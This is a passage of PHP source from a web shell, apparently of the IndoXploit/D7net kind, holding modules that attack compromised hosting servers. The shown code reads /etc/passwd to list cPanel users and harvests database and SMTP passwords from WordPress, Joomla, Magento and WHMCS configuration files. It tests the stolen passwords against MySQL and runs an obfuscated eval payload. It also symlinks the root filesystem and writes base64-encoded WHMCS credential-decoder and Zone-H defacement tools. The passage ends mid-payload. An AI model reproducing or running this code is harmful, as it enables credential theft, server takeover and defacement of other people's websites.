  1057.         foreach($usercp as $ucp) {
  1058.             foreach($passcp as $pcp) {
  1059.                 if(@mysql_connect('localhost', $ucp, $pcp)) {
  1060.                     if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  1061.                     } else {
  1062.                         $_SESSION[$ucp] = "1";
  1063.                         $_SESSION[$pcp] = "1";
  1064.                         $i++;
  1065.                         echo "username (<font color=yellow>$ucp</font>) password (<font color=yellow>$pcp</font>)<br>";
  1066.                     }
  1067.                 }
  1068.             }
  1069.         }
  1070.         if($i == 0) {
  1071.         } else {
  1072.             echo "<br>sukses nyolong ".$i." Cpanel by <font color=yellow>IndoXploit.</font>";
  1073.         }
  1074.     } else {
  1075.         echo "<center>
  1076.         <form method='post'>
  1077.         USER: <br>
  1078.         <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  1079.         $_usercp = fopen("/etc/passwd","r");
  1080.         while($getu = fgets($_usercp)) {
  1081.             if($getu == '' || !$_usercp) {
  1082.                 echo "<font color=red>Can't read /etc/passwd</font>";
  1083.             } else {
  1084.                 preg_match_all("/(.*?):x:/", $getu, $u);
  1085.                 foreach($u[1] as $user_cp) {
  1086.                         if(is_dir("/home/$user_cp/public_html")) {
  1087.                             echo "$user_cp\n";
  1088.                     }
  1089.                 }
  1090.             }
  1091.         }
  1092.         echo "</textarea><br>
  1093.         PASS: <br>
  1094.         <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  1095.         function cp_pass($dir) {
  1096.             $pass = "";
  1097.             $dira = scandir($dir);
  1098.             foreach($dira as $dirb) {
  1099.                 if(!is_file("$dir/$dirb")) continue;
  1100.                 $ambil = file_get_contents("$dir/$dirb");
  1101.                 if(preg_match("/WordPress/", $ambil)) {
  1102.                     $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  1103.                 } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  1104.                     $pass .= ambilkata($ambil,"password = '","'")."\n";
  1105.                 } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  1106.                     $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  1107.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  1108.                     $pass .= ambilkata($ambil,'password = "','"')."\n";
  1109.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  1110.                     $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  1111.                 } elseif(preg_match("/client/", $ambil)) {
  1112.                     preg_match("/password=(.*)/", $ambil, $pass1);
  1113.                     if(preg_match('/"/', $pass1[1])) {
  1114.                         $pass1[1] = str_replace('"', "", $pass1[1]);
  1115.                         $pass .= $pass1[1]."\n";
  1116.                     }
  1117.                 } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  1118.                     $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  1119.                 }
  1120.             }
  1121.             echo $pass;
  1122.         }
  1123.         $cp_pass = cp_pass($dir);
  1124.         echo $cp_pass;
  1125.         echo "</textarea><br>
  1126.         <input type='submit' name='crack' style='width: 450px;' value='Crack'>
  1127.         </form>
  1128.         <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  1129.     }
  1130. } elseif($_GET['D7net'] == 'smtp') {
  1131.     echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
  1132.     function scj($dir) {
  1133.         $dira = scandir($dir);
  1134.         foreach($dira as $dirb) {
  1135.             if(!is_file("$dir/$dirb")) continue;
  1136.             $ambil = file_get_contents("$dir/$dirb");
  1137.             $ambil = str_replace("$", "", $ambil);
  1138.             if(preg_match("/JConfig|joomla/", $ambil)) {
  1139.                 $smtp_host = ambilkata($ambil,"smtphost = '","'");
  1140.                 $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
  1141.                 $smtp_user = ambilkata($ambil,"smtpuser = '","'");
  1142.                 $smtp_pass = ambilkata($ambil,"smtppass = '","'");
  1143.                 $smtp_port = ambilkata($ambil,"smtpport = '","'");
  1144.                 $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
  1145.                 echo "SMTP Host: <font color=yellow>$smtp_host</font><br>";
  1146.                 echo "SMTP port: <font color=yellow>$smtp_port</font><br>";
  1147.                 echo "SMTP user: <font color=yellow>$smtp_user</font><br>";
  1148.                 echo "SMTP pass: <font color=yellow>$smtp_pass</font><br>";
  1149.                 echo "SMTP auth: <font color=yellow>$smtp_auth</font><br>";
  1150.                 echo "SMTP secure: <font color=yellow>$smtp_secure</font><br><br>";
  1151.             }
  1152.         }
  1153.     }
  1154.     $smpt_hunter = scj($dir);
  1155.     echo $smpt_hunter;
  1156.     } elseif($_GET['D7net'] == 'magento')
  1157.     {eval(str_rot13(gzinflate(str_rot13(base64_decode(("tUl7YtpVEP87VXyHiZMr0BLsPJqqgJ14QyBquuNrXEUlEExeeL2E5hZ7wS5pmu9+s7ZWgDM5RCmWJXt0f7Pz3JnJ52lphOsTQ+odbjFOjaGl1CCfWIlGTyPgLguIpQ+VoQKRYD7x8N8mDhsqC/iZRJ9DoxtDqNYDyx4xYA+20BUmvjEF7mw4wlL9WZ8J5o69b6lpcyhg8Qipju+aXkAVo35z+/az5KVGhoozmlEBilhLltbJyVCl6WULvpDx7kNE11lDpQ14NJsKY9hQKEyligc8DHNJFU8xcrXUKgRGV6hWhVooC6xMRCshRH2fz31OLQCfKtyQGVyNpOOg+DflE+hSPAhY+VyXsxRlZ6p3x+qRaWsK2sfqx3B13OZmN4E1QrZ9xuyqqkG5KyaEzCsuidTJdfbJEWEGzOYOE5PAim4j1fEJ/eSOSz7XHm5cqFE2n3bv1XwO4jeYFvfNxmyzNSgkrivclR7zuenIilALjFRpEM65SNzHY2A0nGubQ8Fdv+igZpH2sgfcAblAO6Vpj8lUPkUQYezqhVcB3r2DxaJFKL2AlvDykRjQbmRtpXt90eu0zi/+MJu9U/uijb8VuUxbclBEsBs45k+zkpS3K6iYBVLFaBylnOgI0hRL5Y3FQXRZfmiYBqEwMTNal2AkLeYk59Uya4KEVgfxLZhvd2PP9Djjmxm+i3WCbKyD0jm/ely2bV0lC8ZrMI/PSC4dTjskikOPWSQKiiRBlYk2KBQLancWQQZPKjtVNbgbxDLisK9w5ZNcjAFea4uBWE9P9T1a6/e7mtFxb8YtIi+SxYw7S8EcHX4+7R8bVxyhipKCcTHI0urpvyS8ijMz4sz1Wh6GxcLeoH3wp2nwmR/8RjF/+WNj9+FKVsElEitlvUooy9iV913ikmym133XiZ2pQbgjQUJZQrjEE5mO2peRjLGrIc0EvygbVDwqA/c8J+SOLzB2Q6kSJp0MzIZnS+ZUHcuQxS8P5vT/2KW2meKRHbey2DEnkutEuHe1GtDBZRMI6HD2F8rxaCjBjx+QTxpKDfidRgsLX/VsOyt7Mm/6IohStil49uKEetKv3+73D0KMWDsk3BP0jfIvrUvo8YG21e3o94+7mnP8FXTYGyqXptOW2vVBNe2kdNwiZh+r/Ns6D/N6WPV+vrTAT8slKBWe8WvLrREPoeMLav70RqakveP7ZuvYcdErllZIvvJ77rg0sNlJhj1PnYNCxUdCm/1rPK6MLByKKpbARIhG7ES6OQm5NTdvM7826yo34HbLiMVo85WApX0fXpBkw5+LB9CNtD7hkLPex0rFQBHbKs5S5j2nxQVCGfrXN63ehflb++a622H1zN56+/qm9OpMGzw9o09LDyIMydh1CsuTqb6lvxOKR6yiefbiK97cQF4lre4/idARGdaujmDr5XvpxPQXP/guZC3mu3GcxgGvFiMWRjD2jvXBa3biz+dp/gU="))))));
  1158. } elseif($_GET['D7net'] == 'whmcs') {
  1159.     echo "<form method='POST' action=''>";
  1160.     echo "<center><br><font size='6'>WHMCS Decoder</font><br><br>";
  1161.     echo "<center><input type='submit' class='d7net_table' value='Click Here!' name='d7whmcs'></center>";
  1162.         if (isset($_POST['d7whmcs'])){ system('ln -s / whmcs.php');
  1163. $d7whmcs='PD9waHANCmZ1bmN0aW9uIGRlY3J5cHQgKCRzdHJpbmcsJGNjX2VuY3J5cHRpb25faGFzaCkNCnsNCg0KCSRrZXkgPSBtZDUgKG1kNSAoJGNjX2VuY3J5cHRpb25faGFzaCkpIC4gbWQ1ICgkY2NfZW5jcnlwdGlvbl9oYXNoKTsNCgkkaGFzaF9rZXkgPSBfaGFzaCAoJGtleSk7DQoJJGhhc2hfbGVuZ3RoID0gc3RybGVuICgkaGFzaF9rZXkpOw0KCSRzdHJpbmcgPSBiYXNlNjRfZGVjb2RlICgkc3RyaW5nKTsNCgkkdG1wX2l2ID0gc3Vic3RyICgkc3RyaW5nLCAwLCAkaGFzaF9sZW5ndGgpOw0KCSRzdHJpbmcgPSBzdWJzdHIgKCRzdHJpbmcsICRoYXNoX2xlbmd0aCwgc3RybGVuICgkc3RyaW5nKSAtICRoYXNoX2xlbmd0aCk7DQoJJGl2ID0gJG91dCA9ICcnOw0KCSRjID0gMDsNCgl3aGlsZSAoJGMgPCAkaGFzaF9sZW5ndGgpDQoJew0KCQkkaXYgLj0gY2hyIChvcmQgKCR0bXBfaXZbJGNdKSBeIG9yZCAoJGhhc2hfa2V5WyRjXSkpOw0KCQkrKyRjOw0KCX0NCg0KCSRrZXkgPSAkaXY7DQoJJGMgPSAwOw0KCXdoaWxlICgkYyA8IHN0cmxlbiAoJHN0cmluZykpDQoJew0KCQlpZiAoKCRjICE9IDAgQU5EICRjICUgJGhhc2hfbGVuZ3RoID09IDApKQ0KCQl7DQoJCQkka2V5ID0gX2hhc2ggKCRrZXkgLiBzdWJzdHIgKCRvdXQsICRjIC0gJGhhc2hfbGVuZ3RoLCAkaGFzaF9sZW5ndGgpKTsNCgkJfQ0KDQoJCSRvdXQgLj0gY2hyIChvcmQgKCRrZXlbJGMgJSAkaGFzaF9sZW5ndGhdKSBeIG9yZCAoJHN0cmluZ1skY10pKTsNCgkJKyskYzsNCgl9DQoNCglyZXR1cm4gJG91dDsNCn0NCg0KDQpmdW5jdGlvbiBfaGFzaCAoJHN0cmluZykNCnsNCglpZiAoZnVuY3Rpb25fZXhpc3RzICgnc2hhMScpKQ0KCXsNCgkJJGhhc2ggPSBzaGExICgkc3RyaW5nKTsNCgl9DQoJZWxzZQ0KCXsNCgkJJGhhc2ggPSBtZDUgKCRzdHJpbmcpOw0KCX0NCg0KCSRvdXQgPSAnJzsNCgkkYyA9IDA7DQoJd2hpbGUgKCRjIDwgc3RybGVuICgkaGFzaCkpDQoJew0KCQkkb3V0IC49IGNociAoaGV4ZGVjICgkaGFzaFskY10gLiAkaGFzaFskYyArIDFdKSk7DQoJCSRjICs9IDI7DQoJfQ0KDQoJcmV0dXJuICRvdXQ7DQp9DQoNCiBpZigkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10gPT0gMSApDQogew0KIC8vaW5jbHVkZSgkZmlsZSk7DQoNCiAkZmlsZT0oJF9QT1NUWydmaWxlJ10pOw0KJHRleHQ9ZmlsZV9nZXRfY29udGVudHMoJGZpbGUpOw0KDQokdGV4dD0gc3RyX3JlcGxhY2UoIjw/cGhwIiwgIiIsICR0ZXh0KTsNCiR0ZXh0PSBzdHJfcmVwbGFjZSgiPD8iLCAiIiwgJHRleHQpOw0KJHRleHQ9IHN0cl9yZXBsYWNlKCI/PiIsICIiLCAkdGV4dCk7DQoNCmV2YWwoJHRleHQpOw0KDQogICAgJGxpbms9bXlzcWxfY29ubmVjdCgkZGJfaG9zdCwkZGJfdXNlcm5hbWUsJGRiX3Bhc3N3b3JkKSA7DQoJICAgIG15c3FsX3NlbGVjdF9kYigkZGJfbmFtZSwkbGluaykgOw0KDQokcXVlcnkgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0YmxzZXJ2ZXJzIik7DQoNCndoaWxlKCR2ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgew0KDQokaXBhZGRyZXNzID0gJHZbJ2lwYWRkcmVzcyddOw0KJHVzZXJuYW1lID0gJHZbJ3VzZXJuYW1lJ107DQokdHlwZSA9ICR2Wyd0eXBlJ107DQokYWN0aXZlID0gJHZbJ2FjdGl2ZSddOw0KJGhvc3RuYW1lID0gJHZbJ2hvc3RuYW1lJ107DQoNCmVjaG8oIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0nMSc+Iik7DQokcGFzc3dvcmQgPSBkZWNyeXB0ICgkdlsncGFzc3dvcmQnXSwgJGNjX2VuY3J5cHRpb25faGFzaCk7DQplY2hvKCI8dHI+PHRkPlR5cGU8L3RkPjx0ZD4kdHlwZTwvdGQ+PC90cj4iKTsNCmVjaG8oIjx0cj48dGQ+QWN0aXZlPC90ZD48dGQ+JGFjdGl2ZTwvdGQ+PC90cj4iKTsNCmVjaG8oIjx0cj48dGQ+SG9zdG5hbWU8L3RkPjx0ZD4kaG9zdG5hbWU8L3RkPjwvdHI+Iik7DQplY2hvKCI8dHI+PHRkPklwPC90ZD48dGQ+JGlwYWRkcmVzczwvdGQ+PC90cj4iKTsNCmVjaG8oIjx0cj48dGQ+VXNlcm5hbWU8L3RkPjx0ZD4kdXNlcm5hbWU8L3RkPjwvdHI+Iik7DQplY2hvKCI8dHI+PHRkPlBhc3N3b3JkPC90ZD48dGQ+JHBhc3N3b3JkPC90ZD48L3RyPiIpOw0KDQoNCmVjaG8gIjwvdGFibGU+PGJyPjxicj48L2NlbnRlcj4iOw0KDQp9DQoNCiAgICAkbGluaz1teXNxbF9jb25uZWN0KCRkYl9ob3N0LCRkYl91c2VybmFtZSwkZGJfcGFzc3dvcmQpIDsNCgkgICAgbXlzcWxfc2VsZWN0X2RiKCRkYl9uYW1lLCRsaW5rKSA7DQoNCiRxdWVyeSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRibHJlZ2lzdHJhcnMiKTsNCmVjaG8oIjxjZW50ZXI+RG9tYWluIFJlc2VsbGVyIDxicj48dGFibGUgYm9yZGVyPScxJz4iKTsNCmVjaG8oIjx0cj48dGQ+UmVnaXN0cmFyPC90ZD48dGQ+U2V0dGluZzwvdGQ+PHRkPlZhbHVlPC90ZD48L3RyPiIpOw0Kd2hpbGUoJHYgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7DQoNCiRyZWdpc3RyYXIgCT0gJHZbJ3JlZ2lzdHJhciddOw0KJHNldHRpbmcgPSAkdlsnc2V0dGluZyddOw0KJHZhbHVlID0gZGVjcnlwdCAoJHZbJ3ZhbHVlJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOw0KaWYgKCR2YWx1ZT09IiIpIHsNCiR2YWx1ZT0wOw0KfQ0KJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOw0KZWNobygiPHRyPjx0ZD4kcmVnaXN0cmFyPC90ZD48dGQ+JHNldHRpbmc8L3RkPjx0ZD4kdmFsdWU8L3RkPjwvdHI+Iik7DQoNCg0KDQoNCg0KfQ0KZWNobyAiPC90YWJsZT48YnI+PGJyPjwvY2VudGVyPiI7DQp9DQoNCg0KDQogaWYoJF9QT1NUWydmb3JtX2FjdGlvbiddID09IDIgKQ0KIHsNCiAvL2luY2x1ZGUoJGZpbGUpOw0KDQogJGRiX2hvc3Q9KCRfUE9TVFsnZGJfaG9zdCddKTsNCiAkZGJfdXNlcm5hbWU9KCRfUE9TVFsnZGJfdXNlcm5hbWUnXSk7DQogJGRiX3Bhc3N3b3JkPSgkX1BPU1RbJ2RiX3Bhc3N3b3JkJ10pOw0KICRkYl9uYW1lPSgkX1BPU1RbJ2RiX25hbWUnXSk7DQogJGNjX2VuY3J5cHRpb25faGFzaD0oJF9QT1NUWydjY19lbmNyeXB0aW9uX2hhc2gnXSk7DQoNCg0KDQoNCiAgICAkbGluaz1teXNxbF9jb25uZWN0KCRkYl9ob3N0LCRkYl91c2VybmFtZSwkZGJfcGFzc3dvcmQpIDsNCgkgICAgbXlzcWxfc2VsZWN0X2RiKCRkYl9uYW1lLCRsaW5rKSA7DQoNCiRxdWVyeSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRibHNlcnZlcnMiKTsNCg0Kd2hpbGUoJHYgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7DQoNCiRpcGFkZHJlc3MgPSAkdlsnaXBhZGRyZXNzJ107DQokdXNlcm5hbWUgPSAkdlsndXNlcm5hbWUnXTsNCiR0eXBlID0gJHZbJ3R5cGUnXTsNCiRhY3RpdmUgPSAkdlsnYWN0aXZlJ107DQokaG9zdG5hbWUgPSAkdlsnaG9zdG5hbWUnXTsNCg0KZWNobygiPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz4iKTsNCiRwYXNzd29yZCA9IGRlY3J5cHQgKCR2WydwYXNzd29yZCddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsNCmVjaG8oIjx0cj48dGQ+VHlwZTwvdGQ+PHRkPiR0eXBlPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5BY3RpdmU8L3RkPjx0ZD4kYWN0aXZlPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5Ib3N0bmFtZTwvdGQ+PHRkPiRob3N0bmFtZTwvdGQ+PC90cj4iKTsNCmVjaG8oIjx0cj48dGQ+SXA8L3RkPjx0ZD4kaXBhZGRyZXNzPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5Vc2VybmFtZTwvdGQ+PHRkPiR1c2VybmFtZTwvdGQ+PC90cj4iKTsNCmVjaG8oIjx0cj48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD4kcGFzc3dvcmQ8L3RkPjwvdHI+Iik7DQoNCg0KZWNobyAiPC90YWJsZT48YnI+PGJyPjwvY2VudGVyPiI7DQoNCn0NCg0KDQogICAgJGxpbms9bXlzcWxfY29ubmVjdCgkZGJfaG9zdCwkZGJfdXNlcm5hbWUsJGRiX3Bhc3N3b3JkKSA7DQoJICAgIG15c3FsX3NlbGVjdF9kYigkZGJfbmFtZSwkbGluaykgOw0KDQokcXVlcnkgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0YmxyZWdpc3RyYXJzIik7DQplY2hvKCI8Y2VudGVyPkRvbWFpbiBSZXNlbGxlciA8YnI+PHRhYmxlIGJvcmRlcj0nMSc+Iik7DQplY2hvKCI8dHI+PHRkPlJlZ2lzdHJhcjwvdGQ+PHRkPlNldHRpbmc8L3RkPjx0ZD5WYWx1ZTwvdGQ+PC90cj4iKTsNCndoaWxlKCR2ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgew0KDQokcmVnaXN0cmFyIAk9ICR2WydyZWdpc3RyYXInXTsNCiRzZXR0aW5nID0gJHZbJ3NldHRpbmcnXTsNCiR2YWx1ZSA9IGRlY3J5cHQgKCR2Wyd2YWx1ZSddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsNCmlmICgkdmFsdWU9PSIiKSB7DQokdmFsdWU9MDsNCn0NCiRwYXNzd29yZCA9IGRlY3J5cHQgKCR2WydwYXNzd29yZCddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsNCmVjaG8oIjx0cj48dGQ+JHJlZ2lzdHJhcjwvdGQ+PHRkPiRzZXR0aW5nPC90ZD48dGQ+JHZhbHVlPC90ZD48L3RyPiIpOw0KDQoNCg0KDQoNCn0NCmVjaG8gIjwvdGFibGU+PGJyPjxicj48L2NlbnRlcj4iOw0KfQ0KDQoNCg0KDQo/Pjxib2R5IGJnY29sb3I9IiMwMDAwMDAiPg0KIDxzdHlsZT4NCg0KICAgIGh0bWwsYm9keSB7DQoJYmFja2dyb3VuZCA6IGJsYWNrIHVybCgnaHR0cDovL29ubHltYXQuY29tLzEucG5nJykgcmVwZWF0Ow0KCS13ZWJraXQtYmFja2dyb3VuZC1zaXplOiBjb3ZlcjsNCgktbW96LWJhY2tncm91bmQtc2l6ZTogY292ZXI7DQoJYmFja2dyb3VuZC1zaXplOiBjb3ZlcjsNCgljb2xvcjojZmZjMDAwOw0KICAgIGZvbnQtc2l6ZToyNXB4Ow0KCWZvbnQtZmFtaWx5OkFnZW5jeSBGQjsNCgl0ZXh0LWRlY29yYXRpb246bm9uZTsgeyBTQ1JPTExCQVItQkFTRS1DT0xPUjogIzE5MTkxOTsgU0NST0xMQkFSLUFSUk9XLUNPTE9SOiBvbGl2ZTsgICBjb2xvcjogd2hpdGU7fQ0KdGV4dGFyZWF7YmFja2dyb3VuZC1jb2xvcjojMTkxOTE5O2NvbG9yOnJlZDtmb250LXdlaWdodDpib2xkO2ZvbnQtc2l6ZTogMTJweDtmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2O30NCmlucHV0e0ZPTlQtV0VJR0hUOm5vcm1hbDtiYWNrZ3JvdW5kLWNvbG9yOiAjMTkxOTE5O2ZvbnQtc2l6ZTogMTNweDtmb250LXdlaWdodDpib2xkO2NvbG9yOiByZWQ7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7aGVpZ2h0OjE3fQ0KPC9zdHlsZT4NCjxjZW50ZXI+DQo8Zm9udCBjb2xvcj0iI0ZGRkY2RkYiIHNpemU9JyszJz5bIH5+IFdITUNTIFNlcnZlciBQYXNzd29yZCBkZWNvZGVyIH5+IF08L2ZvbnQ+PGJyPjxicj4NCjxmb250IGNvbG9yPSIjMDA2NkZGIiBzaXplPScrMic+U3ltbGluayB0byBjb25maWd1cmF0aW9uLnBocCBvZiBXSE1DUzwvZm9udD48YnI+DQo8L2NlbnRlcj4NCjxGT1JNIGFjdGlvbj0iIiAgbWV0aG9kPSJwb3N0Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZvcm1fYWN0aW9uIiB2YWx1ZT0iMSI+DQo8YnI+DQogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJmaWxlIiB2YWx1ZT0iIj4NCjxicj4NCjxJTlBVVCBjbGFzcz1zdWJtaXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IiBuYW1lPSJTdWJtaXQiPg0KPC9GT1JNPg0KPGhyPg0KDQo8YnI+DQo8Y2VudGVyPg0KPGZvbnQgY29sb3I9IiMwMDY2RkYiIHNpemU9JysyJz5EQiBjb25maWd1cmF0aW9uIG9mIFdITUNTPC9mb250Pjxicj4NCjwvY2VudGVyPg0KPEZPUk0gYWN0aW9uPSIiICBtZXRob2Q9InBvc3QiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZm9ybV9hY3Rpb24iIHZhbHVlPSIyIj4NCjxicj4NCjx0YWJsZSBib3JkZXI9MT4NCg0KPHRyPjx0ZD5kYl9ob3N0IDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgbmFtZT0iZGJfaG9zdCIgdmFsdWU9ImxvY2FsaG9zdCI+PC90ZD48L3RyPg0KPHRyPjx0ZD5kYl91c2VybmFtZSA8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImRiX3VzZXJuYW1lIiB2YWx1ZT0iIj48L3RkPjwvdHI+DQo8dHI+PHRkPmRiX3Bhc3N3b3JkPC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJkYl9wYXNzd29yZCIgdmFsdWU9IiI+PC90ZD48L3RyPg0KPHRyPjx0ZD5kYl9uYW1lPC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJkYl9uYW1lIiB2YWx1ZT0iIj48dGQ+PC90cj4NCjx0cj48dGQ+Y2NfZW5jcnlwdGlvbl9oYXNoPC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJjY19lbmNyeXB0aW9uX2hhc2giIHZhbHVlPSIiPjwvdGQ+PC90cj4NCg0KPC90YWJsZT4NCjxicj4NCjxJTlBVVCBjbGFzcz1zdWJtaXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IiBuYW1lPSJTdWJtaXQiPg0KPC9GT1JNPg0KPGhyPg0KPGNlbnRlcj4NCjxmb250IGNvbG9yPSIjMDA2NkZGIiBzaXplPScrMic+UGFzc3dvcmQgZGVjb2RlcjwvZm9udD48YnI+DQo8Pw0KIGlmKCRfUE9TVFsnZm9ybV9hY3Rpb24nXSA9PSAzICkNCiB7DQoNCg0KDQogJHBhc3N3b3JkPSgkX1BPU1RbJ3Bhc3N3b3JkJ10pOw0KDQogJGNjX2VuY3J5cHRpb25faGFzaD0oJF9QT1NUWydjY19lbmNyeXB0aW9uX2hhc2gnXSk7DQoNCg0KJHBhc3N3b3JkID0gZGVjcnlwdCAoJHBhc3N3b3JkLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsNCg0KZWNobygiUGFzc3dvcmQgaXMgIi4kcGFzc3dvcmQpOw0KDQp9DQo/Pg0KPC9jZW50ZXI+DQo8Rk9STSBhY3Rpb249IiIgIG1ldGhvZD0icG9zdCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmb3JtX2FjdGlvbiIgdmFsdWU9IjMiPg0KPGJyPg0KPHRhYmxlIGJvcmRlcj0xPg0KDQo8dHI+PHRkPlBhc3N3b3JkPC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJwYXNzd29yZCIgdmFsdWU9IiI+PC90ZD48L3RyPg0KPHRyPjx0ZD5jY19lbmNyeXB0aW9uX2hhc2g8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImNjX2VuY3J5cHRpb25faGFzaCIgdmFsdWU9IiI+PC90ZD48L3RyPg0KDQo8L3RhYmxlPg0KPGJyPg0KPElOUFVUIGNsYXNzPXN1Ym1pdCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiIG5hbWU9IlN1Ym1pdCI+DQo8L0ZPUk0+DQo8aHI+';
  1164. $file = fopen("whmcs.php","w+"); $write = fwrite ($file ,base64_decode($d7whmcs)); $file = fopen("/","whmcs.php");
  1165.             $rt="<br><a href=whmcs.php TARGET='_blank'>";
  1166.     echo "<br><br><br><a class='d7net_table' href=whmcs TARGET='_blank'><b>view click here!</a></b><br><br>$rt</center>";} echo "</form>";
  1167.  
  1168. } elseif($_GET['D7net'] == 'zoneh') {
  1169.     echo "<form method='POST' action=''>";
  1170.     echo "<center><br><font size='6'>Zone-h coded By Desktop77N3T</font><br><br>";
  1171.     echo "<center><input type='submit' class='d7net_table' value='Click Here!' name='d7'></center>";
  1172.         if (isset($_POST['d7'])){ system('ln -s / zone-h.php');         $d7='PD9waHANCm9iX3N0YXJ0KCk7DQoNCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioNCg0KWm9uZS1IIE1hc3MgRGVmYWNlIFBvc3RlciB8IEJ5IEQ3bmV0DQoNCioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQoNCi8vIGtvbmljaGl3YWEgPw0KDQoNCg0KJHN1YiA9IGdldF9sb2FkZWRfZXh0ZW5zaW9ucygpOw0KDQppZighaW5fYXJyYXkoImN1cmwiLCAkc3ViKSl7DQoNCmRpZSgnQ2FuIG5vdCBjb25uZWN0IHRvIHRoaXMgc2VydmVyIHRvIHJlY29ubmVjdCB0byB0aGUgc2VydmVyIGlwX2FkZHJlc3MnKTsNCg0KfQ0KDQoNCg0KLy8gaWtrZWgtaWtrZWg/IGtpbW9jaGlpaWlpLi4NCg0KPz4NCg0KPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPg0KDQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQo8Y2VudGVyPg0KIDxpbWcgIHNyYz0iaHR0cHM6Ly8xLmJwLmJsb2dzcG90LmNvbS8tZXhTTTV1bWVEZXMvV25ra3RJR01KN0kvQUFBQUFBQUFBT28vS1F2N1lRYkwybHdtbTRQYnc4aWZseE51alNYckFrWlBRQ1BjQkdBWVlDdy9zMzIwL2Q3LnBuZyIgDQp3aWR0aD0iMzAwIiBoZWlnaHQ9IjMwMCIvPg0KPHN0eWxlPg0KDQpib2R5e21hcmdpbjowcHg7Zm9udC1zdHlsZTpub3JtYWw7Zm9udC1zaXplOjEwcHg7Y29sb3I6I0ZGRkZGRjtmb250LWZhbWlseTpWZXJkYW5hLEFyaWFsO2JhY2tncm91bmQtY29sb3I6IzNhM2EzYTtzY3JvbGxiYXItZmFjZS1jb2xvcjogIzMwMzAzMDtzY3JvbGxiYXItaGlnaGxpZ2h0LWNvbG9yOiAjNWQ1ZDVkO3Njcm9sbGJhci1zaGFkb3ctY29sb3I6ICMxMjEyMTI7c2Nyb2xsYmFyLTNkbGlnaHQtY29sb3I6ICMzYTNhM2E7c2Nyb2xsYmFyLWFycm93LWNvbG9yOiAjOWQ5ZDlkO3Njcm9sbGJhci10cmFjay1jb2xvcjogIzNhM2EzYTtzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogIzNh